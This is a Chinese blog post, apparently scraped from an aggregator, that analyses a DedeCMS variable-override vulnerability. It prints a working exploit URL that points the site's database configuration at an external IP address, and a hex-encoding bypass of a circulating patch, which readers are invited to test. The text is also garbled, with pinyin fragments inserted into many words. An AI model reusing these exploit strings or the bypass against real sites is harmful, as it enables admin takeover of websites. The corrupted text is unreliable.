e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过
話說文章寫得菜不要緊,首先標題要跟大牛一樣!
作者:單戀一支花
出自:t00ls
轉(zhuǎn)載請注明出處,如有雷同,純屬別人抄襲,嘿嘿!
一:寫在前面
今天晚上想老婆了,失眠了,蛋裂之余,進吐司尋找基友,驚現(xiàn)dedecms通殺漏洞,小菜我異常激動,奈何發(fā)表漏洞的大牛只給出exp沒給出漏洞分析,看到論壇的部分童鞋還在苦思漏洞緣由,小菜我雖然菜,但是懂點php,所以前來獻丑,廣大童鞋勿噴!
二:php也有抽的時候
當嘗試php應(yīng)用程序如何處理用戶提交的時候,會出現(xiàn)以下反常情況:
1.$GLOBALS是一個全局數(shù)組,他可以根據(jù)名稱訪問變量.
2.如果register_globals打開,php會將$_REQUEST數(shù)組,也就是用戶請求參數(shù)注冊為全局。
3.php在$_SERVER數(shù)組里面會處理時特定的http消息頭
4.名稱包含下標的輸入?yún)?shù)會轉(zhuǎn)化為數(shù)組,這也是此次漏洞產(chǎn)生的原因!前三項只是我的一些總結(jié),可能有不完全的地方,期待大牛補充。可能有的童鞋對第四項不是很了解,我就舉個簡單的例子吧!看代碼:
print_r($_GET);
?>
直接提交https://www.webshell.cc/test.php?test[dan]=1&test[lian]=2,這樣我們會輸出Array ( [test] => Array ( [dan] => 1 [lian] => 2 ) ) ,這樣$_GET數(shù)組里面又嵌套了一個數(shù)組,成為一個二維數(shù)組!
三:針對dede的分析
根據(jù)上一條的內(nèi)容,我們來分析一下dede,首先看作者給出exp吧login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root,我們看漏洞文件includecommon.inc.php文件第22行
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
exit('Request var not allow!');
}
}
$REQUEST變量沒有過濾全局關(guān)鍵字(請參考我在二:php也有抽的時候的第一條),只驗證了是否提交以及提交內(nèi)容是否包含前綴cfg_|GLOBALS,就進行了第一次遍歷數(shù)組,而我們的$_REQUET的$k是$_POST,進入第47行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
我們注冊了$_GET變量后,$_GET的$K是$_POST然后在遍歷后,$_POST的$K是$_GLOBALS,從而導(dǎo)至$_GLOBALS被注冊,其數(shù)組里面的元素cfg_dbhost cfg_dbuser cfg_dbpwd cfg_dbname被賦值,從而導(dǎo)致漏洞的產(chǎn)生!
四:漏洞補丁的繞過
在某博客上看到臨時補丁
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) {
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
exit('Request var not allow!');
}
${$_k} = _RunMagicQuotes($_v);
}
}
在遍歷$_POST的時候,如果$k有GLOBALS的關(guān)鍵字就會終止,這點我們可以把GLOBALS轉(zhuǎn)化為16進制繞過的。
login.php?dopost=login&validate=dcug&userid=admin&pwd=admin&_POST[0x474c4f42414c53][cfg_dbhost]=127.0.0.1&_POST[0x474c4f42414c53][cfg_dbuser]=root&_POST[0x474c4f42414c53][cfg_dbpwd]=&_POST[0x474c4f42414c53][cfg_dbname]=dedecmsv55gbk
我本地測試是成功的,有興趣的同學可以測試一下!
我博客上也發(fā)了,嘿嘿大家感興趣可以去看看我的百度博客!
轉(zhuǎn)載請注明來自WebShell'S Blog,本文地址:https://www.webshell.cc/539.html
總結(jié)
以上是生活随笔為你收集整理的e7xue.php漏洞_简要分析最近的dedecms通杀漏洞以及漏洞补丁的绕过的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: n1进入recovery模式_oppo
- 下一篇: python上下文管理关键字_详解 Py